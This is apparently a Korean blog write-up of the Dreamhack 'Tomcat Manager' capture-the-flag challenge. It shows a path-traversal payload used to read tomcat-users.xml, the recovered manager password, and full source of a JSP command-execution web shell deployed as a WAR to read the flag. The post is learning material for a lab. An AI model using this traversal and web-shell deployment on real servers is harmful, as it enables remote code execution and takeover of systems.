- Tomcat Manager [web]2024년 11월 28일 12시 00분 11초에 업로드 된 글입니다.작성자: sonootri
문제 설명
드림이가 톰캣 서버로 개발을 시작하였습니다.
서비스의 취약점을 찾아 플래그를 획득하세요.
플래그는 /flag 경로에 있습니다.
문제 분석
문제 페이지에 접속하면 이런 화면이 뜬다. 딱히 뭔가 기능이 구현되어있지는 않는 것 같다.
/flag를 입력해봤다. 설명을 보니 flag 리소스는 없다고 한다.
<tomcat-users.xml>
conf 디렉토리 하위에 user.xml 파일을 만들어 username이 tomcat인 유저를 등록하는 과정이다.
<?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="[**SECRET**]" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-usesers>
url에 /manager이라고 치면 /manager/html 페이지로 넘어간다. user 파일에 username은 적혀있으므로, password를 찾으면 될 것 같다. tomcat에서 지원하는 배포된 프로젝트를 view 단으로 관리할 수 있는 페이지이다.
<index.jsp>
img 태그를 통해 사진을 가져오고있다. 쿼리문 이후 file 파라미터를 사용해 working.png 경로를 요청하고 있다.
jsp 파일이란, HTML 코드에 Java 코드를 넣어 동적인 웹 페이지를 생성하는 웹 어플리케이션 도구이다.
<html> <body> <center> <h2>Under Construction</h2> <p>Coming Soon...</p> <img src="./image.jsp?file=working.png"/> </center> </body> </html>
<docker file>
//docker file FROM tomcat:8.0.51-jre7-alpine ENV RUN_USER tomcat ENV RUN_GROUP tomcat RUN addgroup ${RUN_GROUP} && adduser -G ${RUN_GROUP} -D -h ${CATALINA_HOME} ${RUN_USER} RUN chown -R tomcat:tomcat $CATALINA_HOME RUN ls -lah $CATALINA_HOME RUN rm -rf /usr/local/tomcat/webapps/ROOT/ COPY flag /flag COPY ROOT.war /usr/local/tomcat/webapps/ROOT.war COPY tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml //tomcat-users.xml 파일 경로를 알려주는 부분같다. USER tomcat EXPOSE 8080
파일의 경로를 확인할 수 있는 부분이 있다 + image 태그가 어떠한 처리 없이 바로 이미지를 불러온다
→ 이 부분을 이용하면 되지 않을까? 라는 생각이 들기 시작
문제 풀이
관리자 계정으로 tomcat manage 로그인에 성공하면 모든 웹 리소스를 다룰 수 있다. 현재 username이 공개되어있는 상태이기 때문에 password만 알아내면 tomcat manage를 이용해 flag를 얻어낼 수 있을 것 같다.
1. password 알아내기
개발자 도구로 들어가 이미지를 클릭하면 http://host3.dreamhack.games:21107/image.jsp?file=working.png url이 보인다. 사진 하나만 달랑 있는 웹 사이트이기 때문에, 사진에 어떤 정보라도 담겨있을 것 같다.
그리고 이제 코드의 경로로 접근해보자.
**?file=usr/local/tomcat/conf/tomcat-users.xml** docker file에 적혀있는 경로를 그대로 입력해봤다. 결과는 error 페이지이다.
그래서 상대경로로 입력해봤다. ?file=../../../conf/tomcat-users.xml 그랬더니 이번에는 error 페이지가 아닌 깨진 이미지같은 화면이 나온다.
../는 상위 디렉토리로 이동할 때 사용한다. ../../../ 등을 통해 계속해서 상위 디렉토리로 이동 가능하다.
일단 다운로드 받은 후, 이미지를 열어 힌트를 찾아보았다. 하지만 “지원되지 않는 형식”이라는 문구가 떴고, 혹시 이미지 파일이 아닌데 확장자를 이미지 파일 확장자로 설정해서 깨진 이미지가 출력된 것 아닐까? 라는 생각이 들었다.
vscode로 해당 이미지 파일을 열어본 결과 역시 코드가 존재한다. 기존 문제 파일에는 존재하지 않던 password 값을 얻었다.
<user username="tomcat" password="P2assw0rd_4_t0mC2tM2nag3r31337" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
2. tomcat manager 사용
userid와 password를 입력하면 tomcat manager 페이지에 접속이 된다.
여기서부터 막혔다. 플래그는 /flag 경로에 있다는데, tomcat manager에는 flag 페이지가 없다.
조금 더 살펴보니 Deploy(배포) 부분이 눈에 띈다. 내가 파일을 업로드할 수 있는 구조이다. cmd를 활성화시켜 flag를 얻어낼 수 있을 것 같다는 생각이 들어, 이전에 old-43 풀이하며 만든 cmd 명령어 실행 코드를 올려보았다.
그런데 뭔가 정상적으로 업로드 되지 않았다. 그래서 왜 그런가 살펴보니 WAR 형식…으로 업로드해야 하는 것 같다.
3. WAR 압축
웹 쉘 코드는 github에서 구했다. (출처:https://github.com/0420syj/cmd.jsp/blob/master/cmd.jsp)
//GET 메소드가 사용되므로, 쿼리에 사용자의 입력값이 담기게 된다. <FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); //사용자가 입력한 cmd 값을 가져온다 String output = ""; //결과물을 저장하기 위해 빈 문자열로 초기화 해둠 if(cmd != null) { String s = null; try { // 서버에서 사용자가 입력한 명령어를 실행 Process p = Runtime.getRuntime().exec(cmd,null,null); //명령어 실행 결과를 읽는 부분 BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream())); //실행 결과를 output에 저장 while((s = sI.readLine()) != null) { output += s+"</br>"; } //error 발생시 예외처리하는 부분 } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>
- Runtime.getRuntime().exec([시스템 명령어]) 함수는 OS의 쉘 명령어를 실행할 수 있게 해준다.
그리고 해당 워게임에서 제공되는 문제 파일에 있던 WAR 압축파일을 바탕으로 웹쉘 코드를 작성했다. WAR 압축파일에는 아래와 같은 여러 디렉토리, 파일들이 있는데, 이 중에서 index.jsp의 코드를 웹 쉘 코드로 변경해 다시 압축했다.
반디집으로 ZIP파일 압축 후→ 확장자를 war로 변경해줬다 (jar -cvf를 사용하여 압축하려고 했지만, 보안상 이유로 컴퓨터가 압축을 막았다)
WAR(Web Application Archive) 파일이란, 웹 애플리케이션을 패키징하기 위한 파일 포맷이다. Java 클래스, XML, 라이브러리, 정적 웹 리소스(HTML, CSS, JS) 등 웹 애플리케이션 구성 요소를 포함한다.
그리고 tomcat manager에 돌아와 Context Path에 /를 적고, 압축한 WAR 파일을 올려준다. 그러면 내가 만들었던 tomcat이라는 이름의 WAR 파일이 Application에 정상적으로 업로드 된 것을 볼 수 있다.
웹 쉘 코드도 잘 작동한다.
/flag가 flag 디렉토리를 의미하는줄 알아서 ls 명령어를 통해 살펴봤지만 flag는 출력되지 않았다. 그래서 그냥 문제 설명 그대로 /flag를 입력했는데 flag가 출력됬다.
'Dreamhack > 워게임' 카테고리의 다른 글
chocoshop [Web] (0) 2024.11.28 webhacking.kr: old-50 (1) 2024.10.01 webhacking.kr: old-27 (0) 2024.10.01 Dreamhack: simple_sqli_chatgpt (1) 2024.10.01 Lord of Injection: germiln (0) 2024.10.01 다음글이 없습니다.이전글이 없습니다.댓글